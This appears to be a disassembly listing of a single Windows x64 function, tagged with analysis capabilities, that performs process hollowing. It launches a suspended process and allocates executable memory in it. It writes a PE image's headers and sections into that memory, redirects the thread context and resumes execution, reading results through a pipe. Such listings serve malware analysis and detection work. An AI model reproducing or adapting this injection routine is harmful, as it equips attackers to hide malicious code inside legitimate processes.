Function at 0x7ff6273ae940
Capabilities:
Allocate or change rwx memory
Create pipe
Create process on windows
Create process suspended
Read file on windows
Resolve function by parsing pe exports
Resume thread
Use process replacement

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5d8]
sub rsp, 0x6d8
mov rax, qword [0x7ff6274be240]
xor rax, rsp
mov qword [rbp + 0x5c0], rax
mov qword [rsp + 0x50], r9
mov qword [rsp + 0x58], r8
mov rbx, rdx
mov r15, rcx
xor r12d, r12d
mov dword [rbp - 0x60], r12d
movsxd rsi, dword [rcx + 0x3c]
add rsi, rcx
mov r8d, 0x400
lea rdx, [rbp + 0x1c0]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleFileNameA]
cmp dword [rsi], 0x4550
jne 0x7ff6273aeeb4
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], rax
xorps xmm1, xmm1
movups xmmword [rbp - 0xc], xmm1
movups xmmword [rbp + 4], xmm1
movups xmmword [rbp + 0x14], xmm1
movups xmmword [rbp + 0x24], xmm1
movups xmmword [rbp + 0x34], xmm1
mov dword [rbp + 0x44], eax
mov dword [rbp - 0x10], 0x68
mov dword [rbp - 0x30], 0x18
mov qword [rbp - 0x28], r12
mov dword [rbp - 0x20], 1
xor r9d, r9d
lea r8, [rbp - 0x30]
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x40]
call qword [sym.imp.kernel32.dll_CreatePipe]
test eax, eax
je 0x7ff6273aeeb4
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x50], rax
or dword [rbp + 0x2c], 0x100
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0xc0]
call fcn.7ff62745d7a0
lea rax, [0x7ff6274a35b0]
mov qword [rbp + 0xc0], rax
lea rax, [0x7ff6274a0258]
mov qword [rbp + 0xd0], rax
lea rcx, [rbp + 0x158]
call qword [sym.imp.msvcp140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp - 0x60], 2
xor r8d, r8d
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.msvcp140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea r13, [0x7ff6274653c8]
mov qword [rbp + rcx + 0xc0], r13
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0xbc], edx
lea rcx, [rbp + 0xd8]
call qword [sym.imp.msvcp140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, [0x7ff627465348]
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0x140], r12
mov dword [rbp + 0x148], r12d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], rax
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x70], xmm1
lea r8d, [r12 + 2]
lea rdx, [0x7ff6274a3b30]
lea rcx, [rsp + 0x60]
call fcn.7ff627395700
nop
mov rdx, rbx
lea rcx, [rbp - 0x80]
call fcn.7ff627390f00
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r12
lea edx, [r12 + 2]
lea rcx, [rbp + 0x60]
call fcn.7ff627398830
mov rbx, rax
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rax
lea rcx, [rax + 0x40]
mov qword [rbp + 0x70], rcx
lea rax, [rbp + 0x60]
mov qword [rbp - 0x60], rax
lea rdi, [rsp + 0x60]
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
mov qword [rbp + 0x78], rbx
mov qword [rbp + 0x80], rbx
lea rax, [rbp + 0x60]
mov qword [rbp + 0x88], rax
nop word [rax + rax]
mov rdx, rdi
mov rcx, rbx
call fcn.7ff627390f00
add rbx, 0x20
mov qword [rbp + 0x80], rbx
add rdi, 0x20
lea rax, [rbp - 0x60]
cmp rdi, rax
jne 0x7ff6273aeb70
mov qword [rbp + 0x68], rbx
lea r9, [fcn.7ff627390df0]
mov edx, 0x20
lea r8d, [rdx - 0x1e]
lea rcx, [rsp + 0x60]
call fcn.7ff62745754c
mov rdi, qword [rbp + 0x68]
mov rbx, qword [rbp + 0x60]
cmp rbx, rdi
je 0x7ff6273aebf5
nop
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x7ff6273aebcd
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rcx, [rbp + 0xd0]
call fcn.7ff62739aef0
mov rcx, rax
lea rdx, [0x7ff6274943c0]
call fcn.7ff627393e80
add rbx, 0x20
cmp rbx, rdi
jne 0x7ff6273aebc0
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0xd8]
call fcn.7ff6273ceee0
lea rdx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rdx, qword [rbp + 0x90]
lea rax, [rbp - 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.kernel32.dll_CreateProcessA]
test eax, eax
je 0x7ff6273aee4a
mov edx, 0x4d0
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call qword [sym.imp.kernel32.dll_VirtualAlloc]
mov r14, rax
mov dword [rax + 0x30], 0x10000b
mov rdx, rax
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.kernel32.dll_GetThreadContext]
test eax, eax
je 0x7ff6273aee4a
mov rdx, qword [r14 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp + 0xb0]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.kernel32.dll_ReadProcessMemory]
lea r13, [rsi + 0x30]
mov r8d, dword [rsi + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r13]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.kernel32.dll_VirtualAllocEx]
mov r12, rax
mov r9d, dword [rsi + 0x54]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
mov r8, r15
mov rdx, rax
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
mov edi, ebx
cmp bx, word [rsi + 6]
jae 0x7ff6273aed4e
xor r13d, r13d
movzx eax, word [rsi + 0x14]
add rax, rbx
mov r9d, dword [rax + rsi + 0x28]
mov r8d, dword [rax + rsi + 0x2c]
add r8, r15
mov edx, dword [rax + rsi + 0x24]
add rdx, r12
mov qword [rsp + 0x20], r13
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
inc edi
add rbx, 0x28
movzx eax, word [rsi + 6]
cmp edi, eax
jl 0x7ff6273aed10
lea r13, [rsi + 0x30]
xor ebx, ebx
mov rdx, qword [r14 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rbx
mov r9d, 8
mov r8, r13
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
mov eax, dword [rsi + 0x28]
add rax, r12
mov qword [r14 + 0x80], rax
mov rdx, r14
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.kernel32.dll_SetThreadContext]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.kernel32.dll_ResumeThread]
mov r8, qword [rsp + 0x50]
dec r8d
mov qword [rsp + 0x20], rbx
lea r9, [rbp - 0x60]
mov rbx, qword [rsp + 0x58]
mov rdx, rbx
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
je 0x7ff6273aedc3
mov eax, dword [rbp - 0x60]
mov byte [rax + rbx], 0
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.kernel32.dll_CloseHandle]
lea rcx, [rbp + 0x90]
call fcn.7ff627392b40
nop
lea rcx, [rbp + 0x60]
call fcn.7ff627392ab0
nop
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, [0x7ff6274653c8]
mov qword [rbp + rcx + 0xc0], rax
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0xbc], edx
lea rcx, [rbp + 0xd8]
call fcn.7ff6273ce5f0
lea rcx, [rbp + 0xe0]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x158]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
xor eax, eax
jmp 0x7ff6273aeeb9
lea rcx, [rbp + 0x90]
call fcn.7ff627392b40
nop
lea rcx, [rbp + 0x60]
call fcn.7ff627392ab0
nop
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xc0], r13
mov rcx, qword [rbp + 0xc0]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0x98]
mov dword [rbp + rdx + 0xbc], r8d
lea rcx, [rbp + 0xd8]
call fcn.7ff6273ce5f0
lea rcx, [rbp + 0xe0]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x158]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov eax, 1
mov rcx, qword [rbp + 0x5c0]
xor rcx, rsp
call fcn.7ff6274574f0
add rsp, 0x6d8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret